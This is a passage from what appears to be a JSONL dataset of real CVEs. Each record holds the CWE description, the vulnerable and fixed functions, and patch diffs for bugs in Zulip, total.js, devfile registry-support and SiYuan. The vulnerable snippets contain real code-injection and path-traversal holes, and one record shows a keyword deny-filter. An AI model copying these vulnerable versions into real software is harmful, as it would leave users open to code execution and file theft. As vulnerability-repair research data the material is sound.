No invites were sent.\").format(stream_id)\n            )\n        streams.append(stream)\n\n    if len(streams) and not user_profile.can_subscribe_other_users():\n        raise JsonableError(_(\"You do not have permission to subscribe other users to streams.\"))\n\n    do_invite_users(\n        user_profile,\n        invitee_emails,\n        streams,\n        invite_expires_in_minutes=invite_expires_in_minutes,\n        invite_as=invite_as,\n    )\n    return json_success(request)"}], "vul_patch": "--- a/zerver/views/invite.py\n+++ b/zerver/views/invite.py\n@@ -42,6 +42,9 @@\n             )\n         streams.append(stream)\n \n+    if len(streams) and not user_profile.can_subscribe_other_users():\n+        raise JsonableError(_(\"You do not have permission to subscribe other users to streams.\"))\n+\n     do_invite_users(\n         user_profile,\n         invitee_emails,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23389", "cve_description": "The package total.js before 3.4.9 are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/totaljs/framework", "patch_url": ["https://github.com/totaljs/framework/commit/887b0fa9e162ef7a2dd9cec20a5ca122726373b3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_188_1", "commit": "2fe92a6", "file_path": "utils.js", "start_line": 6620, "end_line": 6645, "snippet": "exports.set = function(obj, path, value) {\n\tvar cachekey = 'S+' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj, value);\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0; i < arr.length - 1; i++) {\n\t\tvar type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') : '{}';\n\t\tvar p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];\n\t\tbuilder.push('if(typeof(' + p + ')!==\\'object\\'||' + p + '==null)' + p + '=' + type + ';');\n\t}\n\n\tvar v = arr[arr.length - 1];\n\tvar ispush = v.lastIndexOf('[]') !== -1;\n\tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n\n\tif ((/__proto__|constructor|prototype|eval/).test(a))\n\t\tthrow new Error('Potential vulnerability');\n\n\tvar fn = new Function('w', 'a', 'b', a);\n\tF.temporary.other[cachekey] = fn;\n\tfn(obj, value, path);\n};"}, {"id": "vul_js_188_2", "commit": "2fe92a6", "file_path": "utils.js", "start_line": 6647, "end_line": 6664, "snippet": "exports.get = function(obj, path) {\n\n\tvar cachekey = 'G=' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj);\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0, length = arr.length - 1; i < length; i++)\n\t\tbuilder.push('if(!w' + (!arr[i] || arr[i][0] === '[' ? '' : '.') + arr[i] + ')return');\n\n\tvar v = arr[arr.length - 1];\n\tvar fn = (new Function('w', builder.join(';') + ';return w' + (v[0] === '[' ? '' : '.') + v));\n\tF.temporary.other[cachekey] = fn;\n\treturn fn(obj);\n};"}], "fix_func": [{"id": "fix_js_188_1", "commit": "887b0fa", "file_path": "utils.js", "start_line": 6621, "end_line": 6646, "snippet": "exports.set = function(obj, path, value) {\n\tvar cachekey = 'S+' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj, value);\n\n\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n\t\treturn value;\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0; i < arr.length - 1; i++) {\n\t\tvar type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') : '{}';\n\t\tvar p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];\n\t\tbuilder.push('if(typeof(' + p + ')!==\\'object\\'||' + p + '==null)' + p + '=' + type + ';');\n\t}\n\n\tvar v = arr[arr.length - 1];\n\tvar ispush = v.lastIndexOf('[]') !== -1;\n\tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n\n\tvar fn = new Function('w', 'a', 'b', a);\n\tF.temporary.other[cachekey] = fn;\n\treturn fn(obj, value, path);\n};"}, {"id": "fix_js_188_2", "commit": "887b0fa", "file_path": "utils.js", "start_line": 6648, "end_line": 6668, "snippet": "exports.get = function(obj, path) {\n\n\tvar cachekey = 'G=' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj);\n\n\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n\t\treturn;\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0, length = arr.length - 1; i < length; i++)\n\t\tbuilder.push('if(!w' + (!arr[i] || arr[i][0] === '[' ? '' : '.') + arr[i] + ')return');\n\n\tvar v = arr[arr.length - 1];\n\tvar fn = (new Function('w', builder.join(';') + ';return w' + (v[0] === '[' ? '' : '.') + v));\n\tF.temporary.other[cachekey] = fn;\n\treturn fn(obj);\n};"}], "vul_patch": "--- a/utils.js\n+++ b/utils.js\n@@ -3,6 +3,9 @@\n \n \tif (F.temporary.other[cachekey])\n \t\treturn F.temporary.other[cachekey](obj, value);\n+\n+\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n+\t\treturn value;\n \n \tvar arr = parsepath(path);\n \tvar builder = [];\n@@ -17,10 +20,7 @@\n \tvar ispush = v.lastIndexOf('[]') !== -1;\n \tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n \n-\tif ((/__proto__|constructor|prototype|eval/).test(a))\n-\t\tthrow new Error('Potential vulnerability');\n-\n \tvar fn = new Function('w', 'a', 'b', a);\n \tF.temporary.other[cachekey] = fn;\n-\tfn(obj, value, path);\n+\treturn fn(obj, value, path);\n };\n\n--- a/utils.js\n+++ b/utils.js\n@@ -4,6 +4,9 @@\n \n \tif (F.temporary.other[cachekey])\n \t\treturn F.temporary.other[cachekey](obj);\n+\n+\tif ((/__proto__|constructor|prototype|eval|function|\\*|\\+|;|\\s|\\(|\\)|!/).test(path))\n+\t\treturn;\n \n \tvar arr = parsepath(path);\n \tvar builder = [];\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-1485", "cve_description": "A flaw was found in the decompression function of registry-support. This issue can be triggered if an unauthenticated remote attacker tricks a user into parsing a devfile which uses the `parent` or `plugin` keywords. This could download a malicious archive and cause the cleanup process to overwrite or delete files outside of the archive, which should not be allowed.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/devfile/registry-support", "patch_url": ["https://github.com/devfile/registry-support/commit/0e44b9ca6d03fac4fc3f77d37656d56dc5defe0d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_190_1", "commit": "f66264f", "file_path": "registry-library/library/util.go", "start_line": 77, "end_line": 148, "snippet": "func decompress(targetDir string, tarFile string, excludeFiles []string) error {\n\tvar returnedErr error\n\n\treader, err := os.Open(filepath.Clean(tarFile))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer func() {\n\t\tif err = reader.Close(); err != nil {\n\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t}\n\t}()\n\n\tgzReader, err := gzip.NewReader(reader)\n\tif err != nil {\n\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\treturn returnedErr\n\t}\n\n\tdefer func() {\n\t\tif err = gzReader.Close(); err != nil {\n\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t}\n\t}()\n\n\ttarReader := tar.NewReader(gzReader)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\treturn returnedErr\n\t\t}\n\t\tif isExcluded(header.Name, excludeFiles) {\n\t\t\tcontinue\n\t\t}\n\n\t\ttarget := path.Join(targetDir, filepath.Clean(header.Name))\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\terr = os.MkdirAll(target, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\t/* #nosec G304 -- target is produced using path.Join which cleans the dir path */\n\t\t\tw, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\t\t/* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */\n\t\t\t_, err = io.Copy(w, tarReader)\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\t\terr = w.Close()\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\tdefault:\n\t\t\tlog.Printf(\"Unsupported type: %v\", header.Typeflag)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_190_1", "commit": "0e44b9c", "file_path": "registry-library/library/util.go", "start_line": 77, "end_line": 147, "snippet": "func decompress(targetDir string, tarFile string, excludeFiles []string) error {\n\tvar returnedErr error\n\n\treader, err := os.Open(filepath.Clean(tarFile))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer func() {\n\t\tif err = reader.Close(); err != nil {\n\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t}\n\t}()\n\n\tgzReader, err := gzip.NewReader(reader)\n\tif err != nil {\n\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\treturn returnedErr\n\t}\n\n\tdefer func() {\n\t\tif err = gzReader.Close(); err != nil {\n\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t}\n\t}()\n\n\ttarReader := tar.NewReader(gzReader)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\treturn returnedErr\n\t\t}\n\t\tif isExcluded(header.Name, excludeFiles) {\n\t\t\tcontinue\n\t\t}\n\n\t\ttarget := CleanFilepath(targetDir, header.Name)\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\terr = os.MkdirAll(target, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\tw, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\t\t/* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */\n\t\t\t_, err = io.Copy(w, tarReader)\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\t\terr = w.Close()\n\t\t\tif err != nil {\n\t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\t\t\t\treturn returnedErr\n\t\t\t}\n\t\tdefault:\n\t\t\tlog.Printf(\"Unsupported type: %v\", header.Typeflag)\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_190_2", "commit": "0e44b9c", "file_path": "registry-library/library/util.go", "start_line": 197, "end_line": 200, "snippet": "func CleanFilepath(parent string, child string)string{\n\ttarget := path.Join(parent, filepath.Clean(\"/\"+child))\n\treturn target\n}"}], "vul_patch": "--- a/registry-library/library/util.go\n+++ b/registry-library/library/util.go\n@@ -37,7 +37,7 @@\n \t\t\tcontinue\n \t\t}\n \n-\t\ttarget := path.Join(targetDir, filepath.Clean(header.Name))\n+\t\ttarget := CleanFilepath(targetDir, header.Name)\n \t\tswitch header.Typeflag {\n \t\tcase tar.TypeDir:\n \t\t\terr = os.MkdirAll(target, os.FileMode(header.Mode))\n@@ -46,7 +46,6 @@\n \t\t\t\treturn returnedErr\n \t\t\t}\n \t\tcase tar.TypeReg:\n-\t\t\t/* #nosec G304 -- target is produced using path.Join which cleans the dir path */\n \t\t\tw, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n \t\t\tif err != nil {\n \t\t\t\treturnedErr = multierror.Append(returnedErr, err)\n\n--- /dev/null\n+++ b/registry-library/library/util.go\n@@ -0,0 +1,4 @@\n+func CleanFilepath(parent string, child string)string{\n+\ttarget := path.Join(parent, filepath.Clean(\"/\"+child))\n+\treturn target\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-55657", "cve_description": "SiYuan is a personal knowledge management system. Prior to version 3.1.16, an arbitrary file read vulnerability exists in Siyuan's `/api/template/render` endpoint. The absence of proper validation on the path parameter allows attackers to access sensitive files on the host system. Version 3.1.16 contains a patch for the issue.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/siyuan-note/siyuan", "patch_url": ["https://github.com/siyuan-note/siyuan/commit/e70ed57f6e4852e2bd702671aeb8eb3a47a36d71"], "programing_language": "Go", "vul_func": [{"id": "vul_go_236_1", "commit": "2b5a9f9", "file_path": "kernel/api/template.go", "start_line": 68, "end_line": 99, "snippet": "func renderTemplate(c *gin.Context) {\n\tret := gulu.Ret.NewResult()\n\tdefer c.JSON(http.StatusOK, ret)\n\n\targ, ok := util.JsonArg(c, ret)\n\tif !ok {\n\t\treturn\n\t}\n\n\tp := arg[\"path\"].(string)\n\tid := arg[\"id\"].(string)\n\tif util.InvalidIDPattern(id, ret) {\n\t\treturn\n\t}\n\n\tpreview := false\n\tif previewArg := arg[\"preview\"]; nil != previewArg {\n\t\tpreview = previewArg.(bool)\n\t}\n\n\t_, content, err := model.RenderTemplate(p, id, preview)\n\tif err != nil {\n\t\tret.Code = -1\n\t\tret.Msg = util.EscapeHTML(err.Error())\n\t\treturn\n\t}\n\n\tret.Data = map[string]interface{}{\n\t\t\"path\":    p,\n\t\t\"content\": content,\n\t}\n}"}, {"id": "vul_go_236_2", "commit": "2b5a9f9", "file_path": "kernel/model/export.go", "start_line": 523, "end_line": 565, "snippet": "func ExportResources(resourcePaths []string, mainName string) (exportFilePath string, err error) {\n\tFlushTxQueue()\n\n\t// \\u7528\\u4e8e\\u5bfc\\u51fa\\u7684\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\\u5b8c\\u6574\\u8def\\u5f84\n\texportFolderPath := filepath.Join(util.TempDir, \"export\", mainName)\n\tif err = os.MkdirAll(exportFolderPath, 0755); err != nil {\n\t\tlogging.LogErrorf(\"create export temp folder failed: %s\", err)\n\t\treturn\n\t}\n\n\t// \\u5c06\\u9700\\u8981\\u5bfc\\u51fa\\u7684\\u6587\\u4ef6/\\u6587\\u4ef6\\u5939\\u590d\\u5236\\u5230\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\n\tfor _, resourcePath := range resourcePaths {\n\t\tresourceFullPath := filepath.Join(util.WorkspaceDir, resourcePath)    // \\u8d44\\u6e90\\u5b8c\\u6574\\u8def\\u5f84\n\t\tresourceBaseName := filepath.Base(resourceFullPath)                   // \\u8d44\\u6e90\\u540d\\u79f0\n\t\tresourceCopyPath := filepath.Join(exportFolderPath, resourceBaseName) // \\u8d44\\u6e90\\u526f\\u672c\\u5b8c\\u6574\\u8def\\u5f84\n\t\tif err = filelock.Copy(resourceFullPath, resourceCopyPath); err != nil {\n\t\t\tlogging.LogErrorf(\"copy resource will be exported from [%s] to [%s] failed: %s\", resourcePath, resourceCopyPath, err)\n\t\t\terr = fmt.Errorf(Conf.Language(14), err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tzipFilePath := exportFolderPath + \".zip\" // \\u5bfc\\u51fa\\u7684 *.zip \\u6587\\u4ef6\\u5b8c\\u6574\\u8def\\u5f84\n\tzip, err := gulu.Zip.Create(zipFilePath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"create export zip [%s] failed: %s\", zipFilePath, err)\n\t\treturn\n\t}\n\n\tif err = zip.AddDirectory(mainName, exportFolderPath); err != nil {\n\t\tlogging.LogErrorf(\"create export zip [%s] failed: %s\", exportFolderPath, err)\n\t\treturn\n\t}\n\n\tif err = zip.Close(); err != nil {\n\t\tlogging.LogErrorf(\"close export zip failed: %s\", err)\n\t}\n\n\tos.RemoveAll(exportFolderPath)\n\n\texportFilePath = path.Join(\"temp\", \"export\", mainName+\".zip\") // \\u5bfc\\u51fa\\u7684 *.zip \\u6587\\u4ef6\\u76f8\\u5bf9\\u4e8e\\u5de5\\u4f5c\\u533a\\u76ee\\u5f55\\u7684\\u8def\\u5f84\n\treturn\n}"}, {"id": "vul_go_236_3", "commit": "2b5a9f9", "file_path": "kernel/model/upload.go", "start_line": 107, "end_line": 294, "snippet": "func Upload(c *gin.Context) {\n\tret := gulu.Ret.NewResult()\n\tdefer c.JSON(200, ret)\n\n\tform, err := c.MultipartForm()\n\tif err != nil {\n\t\tlogging.LogErrorf(\"insert asset failed: %s\", err)\n\t\tret.Code = -1\n\t\tret.Msg = err.Error()\n\t\treturn\n\t}\n\tassetsDirPath := filepath.Join(util.DataDir, \"assets\")\n\tif nil != form.Value[\"id\"] {\n\t\tid := form.Value[\"id\"][0]\n\t\tbt := treenode.GetBlockTree(id)\n\t\tif nil == bt {\n\t\t\tret.Code = -1\n\t\t\tret.Msg = Conf.Language(71)\n\t\t\treturn\n\t\t}\n\t\tdocDirLocalPath := filepath.Join(util.DataDir, bt.BoxID, path.Dir(bt.Path))\n\t\tassetsDirPath = getAssetsDir(filepath.Join(util.DataDir, bt.BoxID), docDirLocalPath)\n\t}\n\n\trelAssetsDirPath := \"assets\"\n\tif nil != form.Value[\"assetsDirPath\"] {\n\t\trelAssetsDirPath = form.Value[\"assetsDirPath\"][0]\n\t\tassetsDirPath = filepath.Join(util.DataDir, relAssetsDirPath)\n\t}\n\tif !gulu.File.IsExist(assetsDirPath) {\n\t\tif err = os.MkdirAll(assetsDirPath, 0755); err != nil {\n\t\t\tret.Code = -1\n\t\t\tret.Msg = err.Error()\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar errFiles []string\n\tsuccMap := map[string]interface{}{}\n\tfiles := form.File[\"file[]\"]\n\tskipIfDuplicated := false // \\u9ed8\\u8ba4\\u4e0d\\u8df3\\u8fc7\\u91cd\\u590d\\u6587\\u4ef6\\uff0c\\u4f46\\u662f\\u6709\\u7684\\u573a\\u666f\\u9700\\u8981\\u8df3\\u8fc7\\uff0c\\u6bd4\\u5982\\u4e0a\\u4f20 PDF \\u6807\\u6ce8\\u56fe\\u7247 https://github.com/siyuan-note/siyuan/issues/10666\n\tif nil != form.Value[\"skipIfDuplicated\"] {\n\t\tskipIfDuplicated = \"true\" == form.Value[\"skipIfDuplicated\"][0]\n\t}\n\n\tfor _, file := range files {\n\t\tbaseName := file.Filename\n\n\t\tneedUnzip2Dir := false\n\t\tif gulu.OS.IsDarwin() {\n\t\t\tif strings.HasSuffix(baseName, \".rtfd.zip\") {\n\t\t\t\tneedUnzip2Dir = true\n\t\t\t}\n\t\t}\n\n\t\tfName := baseName\n\t\tfName = util.FilterUploadFileName(fName)\n\t\text := filepath.Ext(fName)\n\t\tfName = strings.TrimSuffix(fName, ext)\n\t\text = strings.ToLower(ext)\n\t\tfName += ext\n\t\tf, openErr := file.Open()\n\t\tif nil != openErr {\n\t\t\terrFiles = append(errFiles, fName)\n\t\t\tret.Msg = openErr.Error()\n\t\t\tbreak\n\t\t}\n\n\t\thash, hashErr := util.GetEtagByHandle(f, file.Size)\n\t\tif nil != hashErr {\n\t\t\terrFiles = append(errFiles, fName)\n\t\t\tret.Msg = err.Error()\n\t\t\tf.Close()\n\t\t\tbreak\n\t\t}\n\n\t\tif existAsset := sql.QueryAssetByHash(hash); nil != existAsset {\n\t\t\t// \\u5df2\\u7ecf\\u5b58\\u5728\\u540c\\u6837\\u6570\\u636e\\u7684\\u8d44\\u6e90\\u6587\\u4ef6\\u7684\\u8bdd\\u4e0d\\u91cd\\u590d\\u4fdd\\u5b58\n\t\t\tsuccMap[baseName] = existAsset.Path\n\t\t} else {\n\t\t\tif skipIfDuplicated {\n\t\t\t\t// https://github.com/siyuan-note/siyuan/issues/10666\n\t\t\t\tmatches, globErr := filepath.Glob(assetsDirPath + string(os.PathSeparator) + strings.TrimSuffix(fName, ext) + \"*\")\n\t\t\t\tif nil != globErr {\n\t\t\t\t\tlogging.LogErrorf(\"glob failed: %s\", globErr)\n\t\t\t\t} else {\n\t\t\t\t\tif 0 < len(matches) {\n\t\t\t\t\t\tfName = filepath.Base(matches[0])\n\t\t\t\t\t\tsuccMap[baseName] = strings.TrimPrefix(path.Join(relAssetsDirPath, fName), \"/\")\n\t\t\t\t\t\tf.Close()\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfName = util.AssetName(fName)\n\t\t\twritePath := filepath.Join(assetsDirPath, fName)\n\t\t\ttmpDir := filepath.Join(util.TempDir, \"convert\", \"zip\", gulu.Rand.String(7))\n\t\t\tif needUnzip2Dir {\n\t\t\t\tif err = os.MkdirAll(tmpDir, 0755); err != nil {\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = err.Error()\n\t\t\t\t\tf.Close()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\twritePath = filepath.Join(tmpDir, fName)\n\t\t\t}\n\n\t\t\tif _, err = f.Seek(0, io.SeekStart); err != nil {\n\t\t\t\tlogging.LogErrorf(\"seek failed: %s\", err)\n\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\tret.Msg = err.Error()\n\t\t\t\tf.Close()\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err = filelock.WriteFileByReader(writePath, f); err != nil {\n\t\t\t\tlogging.LogErrorf(\"write file failed: %s\", err)\n\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\tret.Msg = err.Error()\n\t\t\t\tf.Close()\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tf.Close()\n\n\t\t\tif needUnzip2Dir {\n\t\t\t\tbaseName = strings.TrimSuffix(file.Filename, \".rtfd.zip\") + \".rtfd\"\n\t\t\t\tfName = baseName\n\t\t\t\tfName = util.FilterUploadFileName(fName)\n\t\t\t\text = filepath.Ext(fName)\n\t\t\t\tfName = strings.TrimSuffix(fName, ext)\n\t\t\t\text = strings.ToLower(ext)\n\t\t\t\tfName += ext\n\t\t\t\tfName = util.AssetName(fName)\n\t\t\t\ttmpDir2 := filepath.Join(util.TempDir, \"convert\", \"zip\", gulu.Rand.String(7))\n\t\t\t\tif err = gulu.Zip.Unzip(writePath, tmpDir2); err != nil {\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = err.Error()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tentries, readErr := os.ReadDir(tmpDir2)\n\t\t\t\tif nil != readErr {\n\t\t\t\t\tlogging.LogErrorf(\"read dir [%s] failed: %s\", tmpDir2, readErr)\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = readErr.Error()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif 1 > len(entries) {\n\t\t\t\t\tlogging.LogErrorf(\"read dir [%s] failed: no entry\", tmpDir2)\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = \"no entry\"\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tdirName := entries[0].Name()\n\t\t\t\tsrcDir := filepath.Join(tmpDir2, dirName)\n\t\t\t\tentries, readErr = os.ReadDir(srcDir)\n\t\t\t\tif nil != readErr {\n\t\t\t\t\tlogging.LogErrorf(\"read dir [%s] failed: %s\", filepath.Join(tmpDir2, entries[0].Name()), readErr)\n\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\tret.Msg = readErr.Error()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tdestDir := filepath.Join(assetsDirPath, fName)\n\t\t\t\tfor _, entry := range entries {\n\t\t\t\t\tfrom := filepath.Join(srcDir, entry.Name())\n\t\t\t\t\tto := filepath.Join(destDir, entry.Name())\n\t\t\t\t\tif copyErr := gulu.File.Copy(from, to); nil != copyErr {\n\t\t\t\t\t\tlogging.LogErrorf(\"copy [%s] to [%s] failed: %s\", from, to, copyErr)\n\t\t\t\t\t\terrFiles = append(errFiles, fName)\n\t\t\t\t\t\tret.Msg = copyErr.Error()\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tos.RemoveAll(tmpDir)\n\t\t\t\tos.RemoveAll(tmpDir2)\n\t\t\t}\n\n\t\t\tsuccMap[baseName] = strings.TrimPrefix(path.Join(relAssetsDirPath, fName), \"/\")\n\t\t}\n\t}\n\n\tret.Data = map[string]interface{}{\n\t\t\"errFiles\": errFiles,\n\t\t\"succMap\":  succMap,\n\t}\n\n\tIncSync()\n}"}, {"id": "vul_go_236_4", "commit": "2b5a9f9", "file_path": "kernel/treenode/template.go", "start_line": 32, "end_line": 46, "snippet": "func BuiltInTemplateFuncs() (ret template.FuncMap) {\n\tret = sprig.TxtFuncMap()\n\tret[\"Weekday\"] = util.Weekday\n\tret[\"WeekdayCN\"] = util.WeekdayCN\n\tret[\"WeekdayCN2\"] = util.WeekdayCN2\n\tret[\"ISOWeek\"] = util.ISOWeek\n\tret[\"pow\"] = pow\n\tret[\"powf\"] = powf\n\tret[\"log\"] = log\n\tret[\"logf\"] = logf\n\tret[\"parseTime\"] = parseTime\n\tret[\"FormatFloat\"] = FormatFloat\n\tret[\"getHPathByID\"] = getHPathByID\n\treturn\n}"}], "fix_func": [{"id": "fix_go_236_1", "commit": "e70ed57f6e4852e2bd702671aeb8eb3a47a36d71", "file_path": "kernel/api/template.go", "start_line": 68, "end_line": 100, "snippet": "func renderTemplate(c *gin.Context) {\n\tret := gulu.Ret.NewResult()\n\tdefer c.JSON(http.StatusOK, ret)\n\n\targ, ok := util.JsonArg(c, ret)\n\tif !ok {\n\t\treturn\n\t}\n\n\tp := arg[\"path\"].(string)\n\tid := arg[\"id\"].(string)\n\tif util.InvalidIDPattern(id, ret) {\n\t\treturn\n\t}\n\n\tif !util.IsAbsPathInWorkspace(p) {\n\t\tret.Code = -1\n\t\tret.Msg = \"Path [\" + p + \"] is not in workspace\"\n\t\treturn\n\t}\n\n\tpreview := false\n\tif previewArg := arg[\"preview\"]; nil != previewArg {\n\t\tpreview = previewArg.(bool)\n\t}\n\n\t_, content, err := model.RenderTemplate(p, id, preview)\n\tif err != nil {\n\t\tret.Code = -1\n\t\tret.Msg = util.EscapeHTML(err.Error())\n\t\treturn\n\t}\n"}, {"id": "fix_go_236_2", "commit": "e70ed57f6e4852e2bd702671aeb8eb3a47a36d71", "file_path": "kernel/model/export.go", "start_line": 523, "end_line": 571, "snippet": "func ExportResources(resourcePaths []string, mainName string) (exportFilePath string, err error) {\n\tFlushTxQueue()\n\n\t// \\u7528\\u4e8e\\u5bfc\\u51fa\\u7684\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\\u5b8c\\u6574\\u8def\\u5f84\n\texportFolderPath := filepath.Join(util.TempDir, \"export\", mainName)\n\tif err = os.MkdirAll(exportFolderPath, 0755); err != nil {\n\t\tlogging.LogErrorf(\"create export temp folder failed: %s\", err)\n\t\treturn\n\t}\n\n\t// \\u5c06\\u9700\\u8981\\u5bfc\\u51fa\\u7684\\u6587\\u4ef6/\\u6587\\u4ef6\\u5939\\u590d\\u5236\\u5230\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\n\tfor _, resourcePath := range resourcePaths {\n\t\tresourceFullPath := 